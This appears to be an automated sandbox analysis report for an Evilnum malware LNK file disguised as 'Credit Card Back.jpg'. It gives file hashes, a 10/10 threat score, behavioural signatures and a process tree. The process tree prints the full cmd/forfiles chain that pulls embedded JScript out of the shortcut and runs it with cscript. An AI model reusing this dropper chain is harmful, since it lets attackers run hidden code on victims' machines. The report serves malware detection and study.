Analysis

  • max time kernel
    120s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 04:07

General

  • Target

    ca23b0c263652259fc9163d9981033913c9aa3d51a23b1e43f145ca0e0960a30.lnk

  • Size

    61KB

  • MD5

    41a80cc28047b7aeafe846aaa23c2cfe

  • SHA1

    513b161299d99f4be1dffbb171b7c4040ff83de7

  • SHA256

    ca23b0c263652259fc9163d9981033913c9aa3d51a23b1e43f145ca0e0960a30

  • SHA512

    5f2be20007d35a9fd48bb7ef8229f51d119f2c002e25d2ecb99813a8eb585b752917ef136e219c08fddd5e685671af36052f48a863f5f9dac189ea9e6947c437

Score
10/10

Malware Config

Signatures

  • Evilnum

    A malware family with multiple components distributed through LNK files.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ca23b0c263652259fc9163d9981033913c9aa3d51a23b1e43f145ca0e0960a30.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Credit Card Back.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:292
      • C:\Windows\system32\forfiles.exe
        forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
        3⤵
          PID:452
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
          3⤵
            PID:1272
          • C:\Windows\system32\find.exe
            find "TRU4"
            3⤵
              PID:620
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" rd a"
              3⤵
                PID:1096
              • C:\Windows\system32\cscript.exe
                cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
                3⤵
                  PID:1772

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/1528-55-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

              Filesize

              8KB